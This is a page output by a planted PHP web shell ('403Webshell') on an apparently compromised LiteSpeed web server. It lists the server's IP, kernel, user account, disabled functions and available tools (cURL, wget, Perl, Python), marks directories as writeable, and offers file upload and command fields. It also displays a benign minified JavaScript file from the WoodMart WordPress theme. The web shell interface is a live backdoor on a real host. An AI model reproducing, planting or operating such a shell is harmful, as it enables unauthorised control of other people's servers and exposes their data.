403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/.trash/wp-content.1/themes/woodmart/js/scripts/wc/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/.trash/wp-content.1/themes/woodmart/js/scripts/wc/dynamicDiscountsTable.min.js
!function(e){e.each(["frontend/element_ready/wd_dynamic_discounts_table.default"],function(t,a){woodmartThemeModule.wdElementorAddAction(a,function(){woodmartThemeModule.renderDynamicDiscountsTable()})}),woodmartThemeModule.renderDynamicDiscountsTable=function(){var t=e(".variations_form");let n=e(".wd-dynamic-discounts"),a=n.html();function i(){e(".wd-dynamic-discounts tbody tr").each(function(){var t=e(this);let a=t.data("min");t.off("click").on("click",function(){e('.quantity input.qty[name="quantity"]').val(a).trigger("change")})})}function o(t,i){t.find("tbody tr").each(function(){var t=e(this),a=t.data("min"),n=t.data("max");!n&&a<=i||a<=i&&i<=n?t.addClass("wd-active"):t.removeClass("wd-active")})}t.each(function(){e(this).on("show_variation",function(t,a){e.ajax({url:woodmart_settings.ajaxurl,data:{action:"woodmart_update_discount_dynamic_discounts_table",variation_id:a.variation_id},beforeSend:function(){n.find(".wd-loader-overlay").addClass("wd-loading")},success:t=>{var a=n.attr("class");woodmartThemeModule.removeDuplicatedStylesFromHTML(t,function(t){n.replaceWith(t),(n=e(".wd-dynamic-discounts")).attr("class",a),i(),o(n,e(this).find('[name="quantity"]').val()),n.find(".wd-loader-overlay").removeClass("wd-loading")})},dataType:"json",method:"GET"})}).on("click",".reset_variations",function(){n.html(a),i(),o(e(".wd-dynamic-discounts"),e(this).closest("form").find('.quantity input.qty[name="quantity"]').val())})}),i(),e('.quantity input.qty[name="quantity"]').off("change").on("change",function(){o(n,e(this).val())})},e(document).ready(()=>{woodmartThemeModule.renderDynamicDiscountsTable()})}(jQuery);

Youez - 2016 - github.com/yon3zu